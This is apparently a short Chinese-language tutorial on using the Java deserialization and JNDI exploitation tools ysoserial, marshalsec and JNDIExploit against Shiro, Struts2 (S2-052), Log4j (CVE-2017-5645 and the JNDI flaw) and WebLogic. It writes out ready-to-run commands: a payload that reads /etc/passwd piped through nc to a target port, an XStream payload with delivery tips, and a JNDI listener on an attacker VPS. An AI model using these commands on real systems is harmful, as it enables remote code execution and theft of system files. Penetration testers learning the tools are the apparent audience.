常用的java工具主要用来对struts2、shiro、log4j、weblogic进行利用。虽然现在已经出了大量点一下就弹shell的工具。不过还是得对最初利用的几个优秀工具进行学习。

第一个是亚索。

ysoserial

这是一个非常优秀的反序列化利用工具。shiro可以使用它生成payload加载到cookie中进行利用。

命令格式:

java ‐jar ysoserial.jar CommonsCollections5 "cat /etc/passwd"

help:

image-20211222101921563

漏洞用例:

Apache Log4j Server 反序列化命令执行漏洞(CVE‐2017‐5645)

java ‐jar ysoserial.jar CommonsCollections5 "cat /etc/passwd" | nc your‐ip 4712

紧接着是麻神

marshalsec

工具使用:

java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO "calc" > 1.txt
这样就把xml的利用输出到txt文本中。

漏洞用例:Struts2-052

tips:

这段XML用POST发给struts2-rest,当然,ContentType要设置为xml的,然后就可以触发了。当命令中有空格时,提交多个<string>节点即可。

image-20211222102840017

image-20211222102726346

JNDIExploit

工具使用:

java -jar JNDIExploit-1.2-SNAPSHOT.jar --ip vpsip

使用帮助:

使用-u可以查看使用的载荷选项,可以尝试使用tomcat回显方式、冰蝎内存马(未成功)。

image-20211222103236770

漏洞用例:log4j

先使用上面的命令进行监听,然后log4j的话payload触发:

image-20211222103007608